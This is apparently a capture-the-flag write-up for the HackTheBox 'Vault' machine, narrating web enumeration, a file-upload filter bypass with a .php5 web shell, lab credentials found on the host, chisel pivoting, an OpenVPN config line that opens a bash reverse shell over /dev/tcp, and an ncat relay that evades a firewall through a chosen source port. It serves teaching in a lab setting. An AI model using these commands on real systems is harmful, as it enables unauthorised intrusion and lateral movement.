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HTB-Vault

Sep 11, 20249 min read

Information Gathering

Rustscan

Only two ports are open (SSH and HTTP) → Classic HTB Linux machine:

┌──(yoon㉿kali)-[~/Documents/htb/vault]
└─$ rustscan --addresses 10.10.10.109 --range 1-65535
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
 
😵 https://admin.tryhackme.com
[~] The config file is expected to be at "/home/yoon/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
<snip>
Host is up, received syn-ack (0.29s latency).
Scanned at 2024-03-15 06:38:02 EDT for 1s
  
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
<snip>

Nmap

Nothing very new was found from nmap scan:

┌──(yoon㉿kali)-[~/Documents/htb/vault]
└─$ sudo nmap -sVC -p 22,80 10.10.10.109 -v
<snip>
Nmap scan report for 10.10.10.109 (10.10.10.109)
Host is up (0.42s latency).
 
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA)
| 256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA)
|_ 256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519)
80/tcp open http Apache httpd 2.4.18
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
 
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
<snip>

Enumeration

HTTP - TCP 80

I saw Sparklays, which I thought it as a potential username at first.

Feroxbuster on /

I first ran directory bruteforcing as I always do, but nothing showed up.

sudo feroxbuster -u http://10.10.10.109 -n -x php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -C 404

Feroxbuster on /sparklays

Remembering on Sparklays being their first client, I tried accessing http://10.10.10.109/sparklays and it seemed that the page actually exists”

I ran directory bruteforcing on /sparklays and discovered:

  • /sparklays/login.php

  • /sparklays/admin.php

  • /sparklays/design

/sparklays/login.php

Access denied → dead end.

/sparlays/design

Forbidden → Moved on to later come back to further directory bruteforce on this directory.

/sparklays/admin.php

I see a login page which I can try on bruteforcing or sql injection

sqlmap

I intercepted login attempt request with Burp Suite and saved it to req.txt and ran sqlmap with it but it seemed that it is not vulnerable to sql injection:

`sqlmap -r req.txt —batch

Feroxbuster on /sparklays/design

Since I found admin.php unbreakable, I moved back to /sparklays/design and tried directory bruteforcing on it → Discovered more paths!

feroxbuster -u http://10.10.10.109/sparklays/design/ -n -x php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

/sparklays/design/design.html

Clicking on Change Logo led me to changelogo.php:

/sparklays/design/changelogo.php

Going to changelogo.php, I have a file upload page → Very interesting.

At this point, I knew this is going to be my access point.

Shell as www-data

File Uploads

I first uploaded random image and as I expected, I can access it from /sparklays/design/uploads/whatever_name.jpg

Checking allowed file extensions

To first see which file extensions are allowed, I tried uploading test.php → not allowed : (

-Below are what process I went through until I got valid file extension-

test.phar → Not allowed.

test.PhAr → not allowed.

test.png.phar → Not allowed.

test.png.phar%20 → Not allowed.

test.php5 → Allowed!

I can verify the file content on /uploads/test.php5:

p0wny-shell

I can upload simpler PHP shell but I always prefer something visually pretty.

p0wny shellis a perfect PHP shell that provides visuall shell in browser.

I uploaded downloaded p0wny shell with php5 extension and through /uploads, I have web shell as www-data:

Privesc www-data@ubuntu to dave@ubuntu

sparklays-local-admin-interface-0001.php → Looks interesting…

Opening /sparklays/sparklays-local-admin-interface-0001.php on browser, it gave me two options: Server Settings & Design Settings

Server Settings →Under Construction.

Design Settings → Led me to /sparklays/design/design.html(Same page that lead to changelogo.php)

SSH as dave

Servers, key, ssh → interesting!

Servers: There seems to be other servers connected to this machine.

key: Currently, I didn’t know what this key was for, but later it comes to use.

ssh: This looks like ssh credentials for dave!

Using the found creds(dave:Dav3therav3123) from above, I can sign in to ssh as dave:

ssh dave@10.10.10.109

Pivoting dave@ubuntu to dave@DNS

Here is the Pivoting Tutorial that I found it really hand when solving this box.

Host Discovery

Running ifconfig, I see a interface that seemed to be making connection to other machines.

virbr0 → new network!

ifconfig

It is very likely that this open machines are DNS + Configurator and Firewall machines as I seen in the notes above, but I still continued with Ping Sweep to make it sure:

time for i in $(seq 1 254); do (ping -c 1 192.168.122.${i} | grep "bytes from" &); done

I found 192.168.122.4 and 192.168.122.5 as expected

Port scanning

Before port forwarding, I would first discover open ports on discovered targets:

192.168.122.4 → DNS + Configurator

192.168.122.5 → Firewall

Normally, I can use commands such as below to perform full port scan without needing to install nmap on beachhead system:

time for i in $(seq 1 65535); do (nc -zvn 192.168.122.5 ${i} 2>&1 | grep -v "Connection refused" &); done

But this time I will first scan 1-100 ports to make it faster:

nc -zv 192.168.122.4 1-100 → port 80 open on 192.168.122.4

Port Forwarding using Chisel

Now I will need to port-forward into 192.168.122.4:80 from 10.10.10.109 SSH.

First uploaded chisel to beachhead system using Python http server and wget:

Now on my local machine, I started on Chisel server listening on port 9000:

chisel server -p 9000 --reverse

Now on beachhead system, I port forward 192.168.122.4’s port 80 to Local Kali machine’s port 9000:

./chisel_linux client 10.10.14.18:9000 R:80:192.168.122.4:80

Going to 127.0.0.1:80 on local web browser, now I can access port 80 from 192.168.122.4:

dns-config.php → Not Found

vpnconfig.php → VPN Configurator (Looks like RCE point to me!)

OpenVPN RCE

Researching a bit on OpenVPN RCE, I came accross this article.

Following the script from the above articles, I executed the command on VPN Configurator to spawn a shell successfully.

remote 192.168.122.1
dev tun
script-security 2
nobind
up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.122.1/1337 0<&1 2>&1&'"

I had netcat listener running on dave@ubuntu(10.10.10.109), and now I have reverse shell connection to root@DNS(192.168.122.4):

nc -lvnp 1337

SSH as dave@DNS

Looking around the file system, I discovered: user.txt and ssh:

SSH file had a dave’s creds to SSH:(dave:dav3gerous567)

With the SSH creds found above → SSHed in to dave@DNS from dave@ubuntu

Privesc dave@DNS to root@DNS

Earlier on OpenVPN RCE shell, I had connection as root but here connection was made a dave.

Checking on what commands I can run as root, It turns out I can run any commands as root:

sudo -l

I can easily reach root privilege as such:

sudo su

Pivoting dave@DNS to dave@vault

Local Enumeration

At this point, I was expected to find root.txt but it seemed that I need to work on more escalation.

Going through my privilege escalation methodology, I discovered IP address for the Vault”

cat /etc/hosts

Also, checking on ales’x bash history, I discovered him pinging 192.168.5.2 which was noted as the Vault above:

cat /home/alex/.bash_history

Now I realized this is where I need to pivot once more into the Vault(192.168.5.2).

I looked for 192.168.5.2 on log files and auth.log and btmp had a match:

grep -r "192.168.5.2" /var/log

Reading the log file, it seemed to be SSH authentication related history from dave@ubuntu to the Vault:

cat /var/log/auth.log | grep -a '192.168.5.2'

Some of the lines were extra interesting:

  • Seemed that there is nmap installed on dave@DNS

  • When scanning the Vault with nmap, they used port 4444 as a source port

The source-port option allows you to specify a custom source port for the outgoing packets. This can be useful for various purposes, such as bypassing firewall rules or network filtering that might block traffic from certain ports.

Vault Enumeration

Now as seen from the log file above, I tried scanning the Vault(192.168.5.2) with nmap.

First I tired scanning without the source port to see what happens and as expected it shows ports are closed:

nmap 192.168.5.2 -Pn -f

This time I tried running the scan with the source port as 4444 and now it shows port 987 open!

nmap 192.168.5.2 -Pn -f --source-port=4444

SSH as dave@vault

Now I know that the Vault is connected to dave@ubuntu with the IP address of 192.168.5.2 and had port 987 open with source port 4444.

I have to port forward port 987 back to me but from what I know SSH port forwarding or Chisel port forwarding has no option to set the source port.

Reading the log file more thoroughly, I discovered lines that provides answer to me for this issue:

/usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53
/usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53

In summary, this command sets up a listening server on port 1234. When a connection is made to this port, it executes another ncat command to connect to the IP address 192.168.5.2 on port 987, effectively creating a reverse shell.

I first started ncat listener in the background:

/usr/bin/ncat -l 1337 --sh-exec "ncat 192.168.5.2 987 -p 53" &

With the listner running, I made ssh connection to the listener:

ssh dave@localhost -p 1337

Now I have SSH connection to dave@vault!

rbash escape

I tried moving to different directories and it was restricted due to rbash:

I can easily bypass this by appending -t bash at the end of the command as such:

ssh dave@localhost -p 1337 -t bash

root.txt.gpg decrypt

Looking around the file system, I found root.txt.gpg which seemed like an end goal for this box:

I first tried decrypting on dave@vault but secret key wasn’t available on this system:

gpg -d root.txt.gpg

In order to transfer file to different systems, I tried base64 but sadly it wasn’t installed on dave@vault:

base64 root.txt.gpg

Luckily, base32 was installed:

base32 -w0 root.txt.gpg

Now I moved back to dave@DNS and transferred the gpg file using base32:

echo QUBAY<snip>RI7XY= | base32 -d > a.gpg

I tried decrypting both as dave@DNS and root@DNS but both didn’t workout:

Using base32, I moved the gpg file to dave@ubuntu.

Remembering the key from earlier: itscominghome, I decrypted the file to obtain root.txt:

Summary

This machine required two pivoting in total:

  • dave@ubuntu → dave@DNS

  • dave@DNS → dave@vault

Major steps of the box:

  • Feroxbuster → design.html

  • Filter bypass → p0wny Shell

  • Get creds → SSH **dave@ubuntu

  • OpenVPN Exec → RCE root@DNS

  • Get creds → SSH dave@DNS

  • sudo -l → Privesc **root@DNS

  • Source port → SSH dave@vault

  • Get root.txt.gpg

  • Decrypt! → root.txt

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